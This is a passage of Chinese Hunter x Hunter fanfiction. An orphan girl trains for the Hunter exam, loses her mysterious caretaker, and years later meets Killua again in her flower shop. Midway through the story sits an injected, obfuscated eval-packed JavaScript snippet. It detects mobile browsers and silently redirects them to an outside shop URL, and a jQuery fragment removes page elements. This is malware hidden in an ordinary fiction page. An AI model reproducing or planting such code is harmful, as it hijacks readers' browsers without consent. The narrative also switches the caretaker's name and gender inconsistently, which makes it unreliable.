“这是进入那个世界的门槛。”奇犽继续说,声音低沉而清晰,“也是你获得‘资格’的第一步。没有猎人执照,你连寻找仇人的途径都没有,更不用说接近他们,完成复仇。”
他停顿了一下,目光锐利地看向她。
“下一次考试的时间,是后年一月七日。距离现在,还有一年零七个月。留给你的准备时间不多。”
朝穗空拿起那张表格。纸张很轻,在她手中却仿佛有千斤重。她看着那些需要填写的项目,看着猎人协会的标志,沉默了很久。
然后,她抬起头,看向奇犽。
“我需要做什么?”
“继续训练,直到你能通过考试。”奇犽的回答简单直接,“我会教你一切你需要知道的——不仅是战斗,还有追踪、潜伏、情报分析、生存技能……以及,如何在猎人考试中活下来,并脱颖而出。”
从那天起,训练的指向性更加明确。除了体能和战斗技巧,奇犽开始系统地教授她猎人世界的常识、念能力的基础理论、各种危险生物和地理环境的应对,以及最重要的——如何在极端压力和心理博弈中保持冷静,做出判断。
朝穗空像一块干涸的海绵,疯狂地吸收着一切知识。她的学习能力惊人,理解速度快得有时让奇犽都感到惊讶。那些复杂的战术推演,艰深的毒物药理,繁琐的追踪反追踪技巧……她都能迅速掌握,并在模拟训练中灵活运用。
她正在以惊人的速度,从一个需要庇护的孤儿,蜕变成一个合格的‘预备猎人’。
一个为了复仇而生的狩猎者。
夏末秋初的天气,好得让人心头发软。
天空是那种极高极远的湛蓝,几缕白云薄得像撕开的棉絮,懒洋洋地挂着。阳光不再炽烈,变得温暖而宽容。山谷里吹来的风,带着即将成熟的浆果的甜香和勿忘我经久不散的清苦气息,拂过皮肤,舒适得让人想要叹息。
高强度训练了数月,奇犽难得地叫停了当日的所有课程。
“休息一天。”他说,“去外面晒晒太阳。”
他们并排躺在花海边缘柔软的草地上,身下是厚实的草甸,头顶是无限延伸的蓝天。阳光暖洋洋地洒在身上,驱散了骨头缝里因为长期训练而积攒的寒意和酸痛。
朝穗空闭着眼睛,感受着阳光透过眼皮带来的暖红色光晕,感受着微风拂过脸颊的轻柔触感,感受着身下大地坚实而恒久的支撑。有那么一瞬间,她几乎要忘记那些沉重的目标,那些血腥的记忆,那些日复一日的、榨干所有力气的训练。
只是躺着。
只是呼吸。
只是存在。
不知过了多久,她感觉到身边的奇犽坐了起来。
她睁开眼,看到他正面向她,举起双手,用拇指和食指比出了一个方框的姿势,将她和身后一部分花海、天空框在了那个‘取景框’里。
他的脸上带着一种她很少见到的、轻松甚至有些调皮的笑容,金色的头发在阳光下闪闪发光。
“来,笑一个,”他说,眼睛在‘取景框’上方弯起来,“跟着我念——”
他拖长了声音,清晰而愉快地吐出两个字:
“茄——子——”
朝穗空愣了一下。
她看着他那副样子,看着那个虚拟的‘相机’和‘取景框’,看着他眼中纯粹的笑意。一种陌生的、轻快的情绪,像一颗小小的气泡,从心底深处悄悄浮了上来。
她学着他也坐起身,迟疑地、带着点笨拙地,也扯动嘴角,做出一个“笑”的表情。
然后,她跟着他,用气声,不太确定地念出那两个字:
“茄……子……”
声音很轻,尾音有些飘。但那两个字从嘴里吐出的瞬间,嘴角似乎真的被某种无形的力量牵引着,向上弯起了一个微小的、却真实的弧度。
小杰眼睛更亮了,他保持着那个拍照的姿势,用力点了点头:“对!就是这样!茄子——”
“茄子。”朝穗空又念了一遍,这一次声音大了一些,也顺畅了一些。嘴角的弧度也跟着加深了那么一点点。
阳光温暖,风也温柔。
蓝紫色的花海在他们身边起伏,像一片宁静的、有呼吸的海洋。那个‘茄子’的发音,似乎有魔力,让周围的空气都变得轻快明亮起来。他们就这样面对面坐着,一个比着拍照的姿势,一个试着微笑,一遍遍重复着那个简单的词,像两个在进行某种秘密游戏的孩子。
没有相机,没有胶片。但那个午后,那片花海,那声“茄子”,和那个笨拙却真实的微笑,却比任何照片都更清晰地,烙印在了时光里。
又一个十月十九日。
天空依旧阴沉,但没有雾,只有低垂的、铅灰色的云。山里的寂静比往年更深重,连溪流声都仿佛被什么吸收了。
祭奠的过程和去年没什么不同。沉默地走入花海,在无名坟前站立许久,然后在斜坡上并肩坐下,听着水声,直到暮色四合。
只是这一次,奇犽在回程的路上,从口袋里拿出了一样东西。
一根苹果糖。
晶莹剔透的红色糖壳,完美地包裹着里面深色的苹果,在昏暗的天光下像一颗凝固的、小小的红色宝石。细长的木棍握在他手中。
“给。”他递过去。
朝穗空接过来,没有立刻吃,只是拿在手里看着。苹果糖的甜香混合着糖衣焦脆的气味,钻进鼻腔。很熟悉的味道。很久以前,在她还有父母,家里还有别的保姆时,每次她闹脾气或不开心,大人总会用这个来哄她。
她咬下一小口。糖壳在齿间碎裂,发出清脆的“咔嚓”声,紧接着是里面苹果微酸清甜的汁水。熟悉的味道在口腔里蔓延开来,带着一点点遥远的、几乎褪色的温暖记忆。
奇犽看着她小口吃着糖,开口道,语气比平时随意:“今天镇子上好像有活动。要不要……去看看?”
朝穗空咀嚼的动作顿住了。
她抬起头,看向奇犽。他的表情看起来和平常没什么两样,但那双蓝色的眼睛里,似乎有一丝极难察觉的期待?
镇子。
那个她快两年没有回去过的地方。那里有她曾经的家,有发生惨剧的走廊,有她拼命想要逃离的记忆。也从那里开始,她的人生被彻底割裂。
她垂下眼帘,看着手里剩下大半的苹果糖,糖壳反射着微弱的天光。
然后,她咽下嘴里的甜味,摇了摇头,声音平静无波:“我不想去。”
顿了顿,她补充道,语气更加坚决:“奠念结束了,我要为复仇做准备。”
奇犽没有再劝。他只是“嗯”了一声,转身继续朝木屋走去。朝穗空跟在他身后,慢慢地、珍惜地吃完了那根苹果糖。甜味丝丝缕缕地缠绕在舌尖,却压不住心底翻涌上来的、冰冷的涩意。
夜晚,她躺在床上,因为白天情绪的消耗和糖分的刺激,有些辗转难眠。
就在她盯着天花板,试图让大脑放空时,窗外远处的天际,忽然亮了一下。
紧接着,是第二下,第三下……赤红、金绿、湛蓝的光团,接二连三地升上夜空,在漆黑的幕布上轰然绽放,化作绚烂夺目、转瞬即逝的巨大花朵。爆炸的闷响延迟了几秒才传到耳边,像遥远世界的闷雷。
是镇子方向。
烟花。
她坐起身,抱膝看向窗外。一朵又一朵烟花在空中盛开,照亮了小半边夜空,也短暂地照亮了她苍白平静的脸,和眼中映出的、流转的华彩。
很漂亮。
虽然不知道今天镇上是什么节日,也不知道人们为什么庆祝。
但那些在夜空中肆意燃烧、绽放,然后无悔湮灭的光之花,确实很漂亮。
她看了一会儿,直到最后一朵烟花的余烬也被黑暗吞没,夜空重归寂静,只剩下淡淡的硝烟味随风飘来。
然后,她重新躺下,闭上眼睛。
训练很累,明天还要继续。她需要睡眠。
只是闭眼之前,那个未赴的邀约,和夜空中寂灭的烟花,像两片小小的羽毛,轻轻落在了心湖上,漾开一丝几乎无法察觉的涟漪。
今年的圣诞节,依然有雪。
木屋里多了一棵小小的、用松树枝做成的小圣诞树,被安置在窗边。树上挂着手工的、粗糙但色彩鲜艳的装饰品,缠绕着一圈暖黄色的小灯泡,接通电源后,便散发出柔和温暖的光芒,将一小片区域映照得温馨而梦幻。
“不喜欢圣诞老人,圣诞树总该喜欢吧?”奇犽站在树边,嘴角带着笑意,语气却有点试探。
朝穗空看着那棵发光的、散发着松脂清香的树,又看了看窗台上那个安静伫立的雪景球——去年收到的礼物。雪花在球体内永恒地、无声地飘落。
她摇了摇头,很诚实地说:“那我觉得还是雪景球更喜欢一些。”
奇犽的笑容僵了一下,随即有些无奈地摇了摇头,却没说什么。
树上的小灯泡安静地闪烁着,像一群不会说话、却固执地散发着暖意的星星。
新年,大雪。
训练被允许暂停半天。他们在木屋前的空地上打了一场酣畅淋漓却毫无章法的雪仗。笑声、惊呼声、雪球砸在身上的闷响,暂时驱散了山林惯有的寂静和积压在心头的沉重。
打累了,两人并排躺在厚厚的、柔软的雪地里,大口喘着气,呼出的白雾在冷空气中迅速消散。天空是冬日特有的、清冽的灰蓝色。
远处镇子的方向,又有零星的、提前庆祝新年的烟花升起,在昏暗的天幕上炸开小小的、寂寞的光团。
奇犽望着那些烟花,忽然问:“朝穗空,如果……我是说如果,有一天,你真的完成了复仇。之后,你想去做什么?过什么样的生活?”
朝穗空躺在雪地里,冰冷的感觉透过衣物渗进来,让她保持着清醒。她望着天空,思考了很久。
复仇之后的生活?
这个命题对她来说,遥远得近乎虚幻。她的全部生命、全部思绪,都被‘之前’和‘之中’占据,‘之后’是一片空白,一片她从未敢仔细描摹的、令人不安的虚空。
但此刻,躺在雪地里,身体因为运动而发热,远处有微弱的烟花,身边是这个一直陪伴她的人。她第一次,尝试去想象那片虚空。
“如果可以的话,”她轻声说,声音几乎被雪花吞没,“我想开一家花店。”
奇犽侧过头看她。
朝穗空依旧望着天,眼神有些放空,仿佛真的看到了那个虚幻的场景:“不用很大。里面摆满各种各样的花,尤其是勿忘我。要很香,很干净。每天给花换水,修剪枝叶,把它们搭配好,卖给需要的人。”她停顿了一下,声音更轻了,“那样或许会很好。”
一个简单、安宁、与杀戮和仇恨彻底无关的未来。
奇犽静静地听着。雪花有几片落在他的睫毛上,很快融化。他看着朝穗空平静的侧脸,看着她眼中那一点点因为幻想而浮现的、极其微弱的柔光。
然后,他转回头,也望向天空,声音低沉而清晰,一字一句地,叫出了她的全名。
“朝穗空·花咲。”
朝穗空的身体几不可察地僵了一下。这是第一次。他第一次完整地、清晰地叫出她的名字。不是“朝穗空”,不是“你”,而是“朝穗空·花咲”。
“那么,为了实现这个‘如果可以’的未来,”他继续说,语气里带着一种前所未有的郑重,甚至有一丝恳求般的意味,“一定要努力活着啊。”
他顿了顿。
“人只有活着,生命才有无限可能。死了,就真的什么都没有了。再好看的烟花,也会消失的。”
朝穗空没有立刻回应。她躺在雪地里,感受着身下刺骨的冰冷和胸腔里温热的跳动,咀嚼着那句“一定要努力活着”,和那句“人只有活着,生命才有无限可能”。
许久,她才几不可察地,点了点头。
“嗯。”
雪地冰凉,远处最后一点烟花的光也熄灭了。新年第一天的夜空,重归深邃的黑暗与寂静。
二月开始,朝穗空敏锐地察觉到,‘她’有些不对劲。
自言自语的次数明显变多了。常常在做饭、整理草药或者看着窗外发呆时,嘴唇无声地翕动,眉头紧锁,眼神飘向非常遥远的地方,仿佛在和某个看不见的人争论。
有时朝穗空走近,她会立刻停下,恢复平常的神色,但眼底那抹来不及藏起的忧虑,却逃不过朝穗空日益的观察。
“为什么不能告诉我呢?”朝穗空有一次忍不住问,在她又一次发现女人对着空无一人的角落出神之后。
奇犽回过神,看着她,张了张嘴,最终只是勉强笑了笑,揉了揉她的头发:“没什么,一些……大人的烦恼。”
“我们不是要永远在一起吗?”朝穗空追问道,语气里带着一丝不安。
永远在一起。
这句话像一根细针,轻轻刺痛了奇犽。他们看着眼前这个日渐坚强、却也日益依赖他们的女孩,喉咙里像堵着湿透的棉花,怎么也说不出口。
“当然。”奇犽最终只能这样说,声音有些发干,“快去做你的反应训练吧。”
朝穗空静静地看着他,没再追问,转身走开了。
三月初,一个普通的夜晚。
雷欧力欧不知从哪里找出了一小瓶酒。不是什么好酒,农家自酿的米酒,味道辛辣,后劲却不小。
他给自己倒了一小杯,也给朝穗空面前的杯子象征性地倒了一丁点。
“尝尝?”他晃着杯子,脸上带着一种奇异的、介于放松和恍惚之间的神情。
朝穗空端起杯子,小心地抿了一口。辛辣刺激的味道瞬间席卷口腔,顺着喉咙烧下去,让她忍不住皱紧了脸,咳嗽起来。
“不好喝。”她老实地说,把杯子推远。
雷欧力欧笑了,拿过她的杯子,把自己杯里剩下的也喝掉。他的脸颊很快泛起红晕,眼神也有些迷离。他拿着空了的酒瓶,对着壁炉的火光晃了晃,里面的液体所剩无几。
“朝穗空,”他忽然开口,声音带着酒后的微醺和含糊,“我要变成云朵飞走了。”
朝穗空正用清水漱口,闻言抬头看他,眉头蹙起:“你喝醉了。”
“没有醉……”雷欧力欧摇摇头,金色的发丝晃动,他看着她,眼神有些涣散,却又异常专注,“我是说真的我要消失了。”
心脏猛地一跳。又是这句话。
和去年愚人节一样的台词。
朝穗空放下水杯,看着他那副醉态,心里那点因为酒辣而生的不愉快,变成了淡淡的无奈和一丝被玩笑冒犯的不悦。
“这种玩笑你以前就开过了。”她站起身,准备结束这场无聊的对话,“我才不会上当。”
她转身走向自己的房间,身后传来雷欧力欧低低的、带着醉意的笑声,那笑声很快变成了含糊不清的嘟囔,最后归于寂静。
朝穗空关上门,将酒气和那些不吉利的醉话关在门外。
只是玩笑。
她对自己说。
只是喝醉了胡言乱语。
但躺在床上,黑暗中,那句“我要消失了”却像有了生命,在她耳边幽幽回响,带着酒气的灼热和一丝冰冷的真实感。
三月最后一天,天气阴沉,山雨欲来。
训练结束时,奇犽又一次递给她一根苹果糖。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261327|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
和去年十月十九日那根一模一样。晶莹的红,香甜的气味。
她拿着糖,没有立刻吃,只是看着奇犽。他的表情异常平静,甚至有些肃穆,完全没有平时的温和或训练时的严厉。那双蓝色的眼睛深深地看着她,里面翻涌着她完全看不懂的、复杂到极点的情绪。
“朝穗空,”他开口,声音不高,却每个字都清晰无比,“有些事,不能再瞒你了。”
朝穗空的心跳漏了一拍。她攥紧了手里的糖,木棍的尖端抵着掌心。
奇犽深吸一口气,仿佛接下来要说的话,需要耗尽胸腔里所有的空气。
“你的仇人,杀害你父母的人。”
他顿了顿,目光紧紧锁住她的眼睛,一字一句,缓慢而沉重地,吐出那个名字:
“是幻影旅团的团长,库洛洛·鲁西鲁。”
幻影旅团。
库洛洛·鲁西鲁。
这两个名词像两颗重磅炸弹,猝不及防地在朝穗空脑海中炸开。尽管她早有心理准备,但当这个名字真的被说出来时,伴随着的是扑面而来的愤怒。
记忆里那个看起来温雅的男人。夺走了她的父母,夺走了她的人生。
奇犽看着她的脸色瞬间苍白,看着她眼中翻涌的情绪,他知道这个消息的冲击有多大。但他必须说。他留在这里的时间不多了。
“记住这个名字,记住这个身份。”他的声音更加低沉,带着一种近乎残酷的冷静,“但不要被仇恨冲昏头脑,更不要贸然行动。现在的你,很弱。”
“猎人执照是你的第一步。拿到它,获得力量、情报和进入那个世界的资格。然后,用尽你所有的智慧、耐心和准备,等待机会。复仇不是盲目的冲锋,是一场精心策划的、赌上一切的狩猎。”
朝穗空僵硬地站在那里,手里的苹果糖仿佛有千斤重。糖的甜香此刻闻起来令人作呕。她的大脑嗡嗡作响,‘幻影旅团’‘库洛洛·鲁西鲁’这几个字在里面疯狂冲撞。
她想问为什么。
为什么是他们?
奇犽最后看了她一眼,那眼神复杂得让她心头发颤。然后,他转身,走向自己的房间,关上了门。
留下朝穗空一个人,站在逐渐昏暗的客厅里,手里攥着那根冰冷的、未动的苹果糖,和一颗被巨大真相砸得近乎麻木的心。
那天晚上,她没有睡。她坐在窗前,看着外面漆黑的、酝酿着风雨的夜,一遍遍在心里重复着那两个名字,想象着记忆里那个叫库洛洛·鲁西鲁的男人的模样,想象着未来某一天,她将如何面对他。
苹果糖放在窗台上,渐渐蒙上了夜晚的湿气。
四月一日,愚人节。
天空下着淅淅沥沥的冷雨。山林被雨水洗刷成一片湿润的、深沉的绿。勿忘我在雨中低垂着头,蓝紫色显得格外黯淡。
朝穗空像往常一样早起,完成晨间的热身训练。雨声掩盖了其他声响,木屋里格外安静。
当她结束训练,擦着汗走进客厅时,发现餐桌上没有像往常一样摆好早餐。厨房里也没有动静。
“喂?”她喊了一声。
没有回应。
她走到奇犽的房门前,敲了敲。“该吃早餐了。”
里面一片寂静。
她犹豫了一下,推开门。
房间收拾得异常整齐,甚至可以说是空荡。床铺平整,桌椅一尘不染,衣柜开着,里面空空如也。那些常用的草药匣子、笔记本、零碎的小物件,全都不见了。仿佛过去两年多生活在这里的那个人,从未存在过。
只有窗台上,放着一个东西。
是那个雪景球。
去年圣诞节的礼物。玻璃球体清澈,里面的微型木屋和蓝色花圃安静地待在底座上,人造雪花静静地悬浮在液体中。
朝穗空走过去,拿起雪景球。冰冷的玻璃触感让她打了个寒颤。
她环顾这个空无一物的房间,又看了看手里唯一的‘遗留物’。
一个可怕的猜想,带着冰冷的触须,慢慢爬上她的脊椎。
她开始寻找。厨房、储物间、客厅、自己的房间、屋外的小仓库……她找遍了木屋和周围的每一个角落,喊声从最初的平静到急促,再到带着一丝不易察觉的颤抖。
没有。
哪里都没有。
那个有着金色头发和蓝色眼睛,会做饭,会疗伤,会严厉训练她,也会在午后教她念“茄子”的人,消失了。像水蒸气一样,从这个她早已习惯其存在的空间里,蒸发得干干净净。
她站在雨中的屋檐下,手里紧紧攥着那个雪景球,雨水打湿了她的头发和肩膀,冰冷顺着皮肤往里钻。
今天,是愚人节。
所以……这又是一个玩笑,对吧?
一个恶劣的、一点也不好笑的玩笑。
她等了一天。从清晨到日暮,雨停又下。她坐在客厅里,面对着空荡荡的餐桌,耳朵捕捉着门外的每一个细微声响——脚步声,开门声,熟悉的呼唤。
什么都没有。
只有雨声,和木屋令人心悸的空旷寂静。
四月二日。
雨停了,天空是洗过般的苍白。
朝穗空很早就离开木屋。她走了很远的路,去到当初雇佣‘保姆’的那家家政公司。那是个位于邻镇的小办事处,门面陈旧。
她还记得第一次见到她时,她穿的是管家服。
接待她的是个打着哈欠的中年男人。
“我想找一个人。”朝穗空报出了她的外貌特征和她出现的大致时间。
男人在泛黄的名册和记录里翻找了半天,又问了几个老员工,最后挠着头,一脸困惑地看着她:“小姑娘,你确定吗?我们这里没有登记过符合你描述的员工啊。这两年也没接到过你那边的长期家政委托。”
朝穗空愣住了。
“怎么可能?她明明……”她试图描述更多细节。
但男人只是摇头,语气肯定:“真的没有。你是不是记错了?或者是你家其他亲戚朋友来帮忙的?”
朝穗空没有再问下去。她转身离开办事处,走在陌生的、人来人往的街道上,阳光刺眼,她却觉得浑身发冷。
没有记录。不存在。
那个照顾了她两年多、教会她生存与复仇、给她苹果糖和雪景球、最后告诉她仇人名字的人,在官方的记录里,是一片空白。
她是谁?
她从哪里来?
她为什么出现?
又为什么……这样消失?
回到木屋,已是傍晚。夕阳将屋子染成凄艳的金红色。死一般的寂静迎接了她。
她筋疲力尽地走进去,失魂落魄。手里还下意识地握着那个雪景球。在门槛处,脚下不知被什么绊了一下,身体失衡向前扑倒。
“啪嚓——!”
清脆的、令人心脏骤停的碎裂声。
雪景球脱手飞出,撞在坚硬的地板上。晶莹的玻璃球体瞬间炸开,碎片和液体四处飞溅。里面的微型木屋摔得歪斜,蓝色花圃散了,那些亮晶晶的“雪花”混合着液体,在地板上迅速洇开一小滩浑浊的水渍。
朝穗空趴在地上,愣愣地看着那滩狼藉,看着那些折射着夕阳光芒的、尖锐的玻璃碎片。
好几秒后,她才猛地爬过去,手忙脚乱地想要把碎片捡起来,想要把那个破碎的小世界拼回去。手指刚碰到一片较大的碎片,锋利的边缘就毫不留情地划破了她的指尖。
刺痛传来。鲜红的血珠迅速渗出,滴落在浑浊的水渍和玻璃渣上,晕开一小团刺目的红。
她看着指尖的伤口,看着地上无法挽回的破碎,看着血滴落下。
好痛。
比训练时受的任何伤都痛。一种尖锐的、冰冷的、从指尖直刺心底的痛。
她维持着那个姿势,跪在冰冷的地板上,看着一地的碎片和血渍,很久,很久。
直到夕阳彻底沉下山峦,屋内陷入昏暗。
她才慢慢地、极其小心地,从玻璃渣和水渍中,捡起一样东西。
是那枚冰蓝色的耳坠。她一直戴在左耳上,从未取下。刚才摔倒时,似乎磕碰到了,但幸好没有损坏。宝石在昏暗的光线里,幽幽地闪着一点微弱的、固执的蓝光。
她紧紧攥住耳坠,冰凉的宝石硌着掌心,带来一丝真实的触感。
还好……耳坠没有丢。
这是“她”留下的,除了那个破碎的雪景球和满心疑惑之外,唯一切实的东西了。
五月,山花烂漫。
朝穗空种在窗边的那株变种勿忘我,终于开花了。
不是普通的蓝紫色,而是一种更加清澈、更加深邃的蓝,近乎她耳坠宝石的颜色,在阳光下像一小片凝固的晴空,又像那个人眼睛的颜色。
朝穗空蹲在花前,看了很久。
花开了。
可是,那个和她一起种下这颗种子,告诉她“它会发芽的”的人,却没有回来看它。
为什么?
这个问题,日日夜夜萦绕在她心头,伴随着每一下心跳,每一次呼吸。与‘幻影旅团’‘库洛洛’那些沉重的名字交织在一起,形成一张无形却坚韧的网,将她紧紧缠绕。
她对着盛开的花,对着空荡的木屋,对着训练后酸痛的身体,一遍遍无声地问:
为什么你还没有回来?
我讨厌你。
你是谁。
哪里都找不到你。
你去哪里了。
问题没有答案。寂静吞噬了一切询问。只有那株勿忘我,在窗外静静地开着,蓝得刺眼,像一只沉默的、凝视着她的眼睛。
六月六日,她的十二岁生日。
木屋里只有她一个人。没有蛋糕,没有礼物,没有那句“生日快乐”。
她给自己煮了一碗简单的面,加了个鸡蛋。然后,她坐在餐桌前,对着空无一人的对面,用很轻很轻的声音,对自己说:
“生日快乐。朝穗空·花咲。”
声音在空旷的屋子里回荡,显得格外寂寥。她说完,便低头默默地吃完了那碗面。味道很普通,甚至有点淡。
训练还在继续。她自己制定了计划,严格执行。负重、奔跑、格斗练习、知识学习……用疲惫填满每一天,让身体没有时间去感受那份蚀骨的孤独和茫然。只有筋疲力尽躺下时,那些被压抑的疑问和情绪才会悄然浮现,啃噬着她的梦境。
秋天来了,又走了。
十月十九日,又一个祭奠的日子。
她独自走进花海,在父母坟前站了很久。今年没有起雾,天空晴朗,高远。她什么也没说,只是静静地站着,仿佛在与地下长眠的至亲,和那个消失无踪的‘幽灵’,进行一场无声的对话。
傍晚,她回到木屋,感到一种前所未有的疲惫,不是身体的,而是从灵魂深处漫上来的。
夜里,她再次被窗外的光芒和闷响惊醒。
镇上的烟火,又一次在夜空中绽开。比往年似乎更盛大,更绚烂。各色光团竞相升空,炸开成漫天流火,将黑夜短暂地涂抹成辉煌而虚幻的画卷。
她坐起身,抱膝看着。
很漂亮。
依旧不知道是什么节日,人们为何庆祝。
但今年,看着那些燃烧又寂灭的烟花,她忽然想起去年今日,那个未赴的邀约,和那个人当时眼中那一丝难以捉摸的期待。
她想起更久以前,那个人问过的问题:“你觉得,从侧面看,烟花是圆的还是扁的?”
当时她回答不知道。
现在,她下意识地侧过头,试图从另一个角度去看那些绽放的光团。视觉被拉扁,光幕扩散的形状变得奇异。
是圆的,还是扁的?
没有人可以告诉她了。
那个人不在了。
从今往后,只有她一个人了。
她望着窗外最后一缕烟花的光痕消失在黑暗里,重新躺下,闭上眼睛。
指尖无意识地抚上左耳垂,那里,冰蓝色的耳坠微微晃动,触感冰凉。
她攥紧了被角。
孤独像冰冷的潮水,漫过全身。但在这冰冷的深处,一种更加坚硬、更加冰冷的东西,正在缓慢凝结。
从今往后。
朝穗空·花咲。
只有自己了。
而这条路,无论如何,她都会走下去。
25. Chapter.25
五年一度的花咲祭,让这座被勿忘我淹没的小镇成了沸腾的海洋。
空气里浸满了蓝紫色的花香,甜腻中带着一丝清苦,像是记忆本身的味道。
街道上摩肩接踵,来自世界各地的游人脸上涂抹着花朵彩绘,手中捧着各色花束,欢声笑语混合着街头艺人的演奏和摊贩的叫卖,织成一片盛大而喧闹的锦绣。
奇犽·揍敌客穿过人潮,银色的头发在阳光下像一捧流动的水银。他已经比五年前高了许多,肩膀宽阔,身形挺拔,属于少年的轮廓彻底褪去,取而代之的是青年冷峻锐利的线条。
五年了。
距离那场离奇的记忆断层,已经过去了五年。他回到了枯枯戮山,继续着揍敌客的生涯,接任务,杀人,赚钱。生活似乎回到了正轨。
伊路米偶尔会用那双黑洞般的眼睛若有所思地打量他,基裘妈妈依旧对他突然的消失耿耿于怀,糜稽还是老样子。一切都正常得令人窒息。
但有什么地方不对劲。
心里始终有一个填不满的空洞。左耳垂也总是幻痛,仿佛那里应该挂着什么冰凉的东西。梦里有时会出现大片蓝紫色的花海,和一个模糊的、抱着什么东西的黑色身影。
这次来花咲祭,是任务间隙的偶然。客户指定的交易地点在这附近,完成之后,听闻这个祭典,鬼使神差地就过来了。他自己也说不清为什么,只是踏上这片土地,嗅到空气中那浓烈到令人眩晕的勿忘我香气时,胸腔里那股积压了五年的、莫名的烦躁和空洞,似乎悸动了一下。
人实在太多了。
奇犽微微蹙眉,避开一个差点撞到他身上的、举着巨大棉花糖的小孩,拐进了主街旁一条相对僻静的小巷。巷子很窄,两侧是爬满花藤的古老石墙,喧闹声在这里减弱成模糊的背景音。
就在巷子中段,他发现了一家店。
一家小小的花店。
店门是原木色的,敞开着,门楣上悬挂着一块简单的木牌,刻着花体的“Floraison”字样。
橱窗里没有夸张的装饰,只有几束精心搭配的鲜花,在透过玻璃的阳光下显得清新而静谧。最引人注目的是橱窗中央,一大丛蓝得惊人的勿忘我,被单独放置在一个素白的陶瓷花瓶中,那种蓝,清澈,带着一种近乎执拗的、穿透时光般的力量。
奇犽的脚步停了下来。
他站在店门外,隔着几米的距离,看着那丛勿忘我。花香从店内幽幽飘出,比街上任何地方都要浓郁、纯粹。那清苦中带着微甜的气息,轻轻触碰着他记忆深处的恍惚。
心脏,毫无缘由地,加快了跳动。
他犹豫了一下,迈步走进了花店。
店内比外面看起来更小,但布置得极为整洁雅致。两侧是白色的阶梯状花架,上面错落有致地摆放着各种鲜花和绿植,空气湿润凉爽,混合着泥土、根茎和无数种花朵的复杂气息,但最主导的,依旧是勿忘我那特有的味道。
店里只有一个顾客,正背对着门,弯腰挑选着架子底层的常春藤。那人身材高大,穿着不太合身的西装,头发微卷,嘴里似乎还在嘀咕着什么“医院预算”“药材涨价”之类的话。
奇犽的目光掠过那个熟悉的背影,没有停留,继续扫视店内。
花架深处,一个身影正蹲在地上,整理着一桶刚送来的玫瑰。那是个女孩,黑色的长发松松地束在脑后,露出纤细白皙的脖颈。她穿着简单的亚麻色长裙,裙摆沾着些许泥土和水渍,正用一把小巧的园艺剪,熟练地修剪着玫瑰枝上的尖刺和多余叶片。
她的动作不快,却带着一种行云流水般的韵律感和难以言喻的专注。
似乎是察觉到有人进来,她停下了手中的动作,站起身,转了过来。
时间,在那一瞬间,仿佛被花香胶住了。
奇犽看清了她的脸。
比五年前长开了许多,褪去了孩童的稚气,五官清晰秀美,皮肤是久不见阳光的苍白。但那双眼睛依旧是记忆中的深潭。漆黑,平静,深不见底,里面仿佛盛着化不开的浓稠。
她的目光与奇犽相遇。
空气中,只有花香在无声流淌。
女孩的脸上没有任何特殊表情,没有惊讶,没有疑惑,只是像对待任何一位普通顾客那样,微微颔首,用平静清澈的声音说:“欢迎光临。请随意看。”
声音也变了些,少了孩童的清脆,多了少女的轻柔,但那份独特的、没有起伏的平静感,却丝毫未变。
是错觉吗。
很显然不是。
奇犽站在原地,喉咙有些发紧。胸腔里那股空洞的悸动变得更加剧烈,几乎要撞碎肋骨跳出来。他想问“你是谁”,想问她是不是也和他一样失忆了。
但他什么也没问出口。揍敌客的训练让他完美地控制住了面部表情和身体反应,他只是几不可察地点了点头,目光移向旁边的花架,仿佛真的只是一个偶然走进来的顾客。
就在这时,那个蹲着挑常春藤的男人站了起来,转过身。
“老板,这常春藤怎么卖——嗯?”
雷欧力欧的话卡在了喉咙里。他先是看到了奇犽,银发蓝眼的青年让他觉得有点眼熟,但想不起在哪见过。然后,他的目光落在了那个黑发女孩身上。
“咦?”雷欧力欧眨了眨眼,墨镜后的眉头皱了起来,“小姑娘,我们是不是在哪里见过?”
女孩看向他,黑眼睛里依旧平静无波,轻轻摇了摇头:“抱歉,我没有印象。客人是第一次来本店吧?”
“啊……大概是我记错了。”雷欧力欧挠了挠头,有些尴尬。他最近为了考取更高级的医师执照和应付协会里那群老狐狸,忙得晕头转向,记忆确实有点混乱。
不过,这女孩总给他一种奇怪的熟悉感。还有这家店的花香,也太浓了点,浓得让他鼻子发痒,心里也莫名有点发酸。
奇犽保持着挑选花束的姿势,实则全身的感官都调动到了极致。他听到了雷欧力欧的话,也看到了女孩毫无波动的反应。她真的不记得了?还是伪装?
他不动声色地观察着她。她的手指修剪花枝时稳定无比,包扎花束时动作灵巧精准,对待雷欧力欧的询问礼貌而疏离。一切都像一个真正的、沉浸在自己世界里的花店店主。
当她偶尔转身,去拿高处的包装纸时,左耳垂上,一点冰蓝色的微光,映入了奇犽的眼帘。
是那枚耳坠。
和他幻痛中感觉到的冰凉触感、闪烁的微光,一模一样。
奇犽的呼吸,微不可闻地滞了一下。
雷欧力欧最终买下了一小盆常春藤,说是要放在他新租的诊所里“增添点生气”。付钱的时候,他又忍不住看了看女孩,嘟囔了一句:“真的好像在哪里见过……特别是这眼神。” 然后抱着花盆,晃晃悠悠地走了出去,很快消失在巷口的人潮中。
花店里,又只剩下奇犽和女孩两人。
安静重新降临,只有花朵细微的呼吸声,和远处祭典模糊的喧嚣。
奇犽终于选了一束花,一束最简单的白色勿忘我,搭配着几枝绿色的尤加利叶。他走到柜台前。
女孩接过花束,熟练地开始包装。彩纸是素雅的浅灰色,丝带是墨绿色。她的手指穿梭其间,流畅优美。
奇犽看着她低垂的睫毛,看着她专注的侧脸,看着她耳垂上那点幽幽的蓝光。无数的疑问和一种近乎疼痛的熟悉感在胸腔里冲撞。
“这耳坠,”他忽然开口,声音比自己预想的要低沉些,“很特别。”
女孩包扎的动作没有丝毫停顿,只是轻轻“嗯”了一声:“是一位很重要的人送给我的。” 她淡淡道。
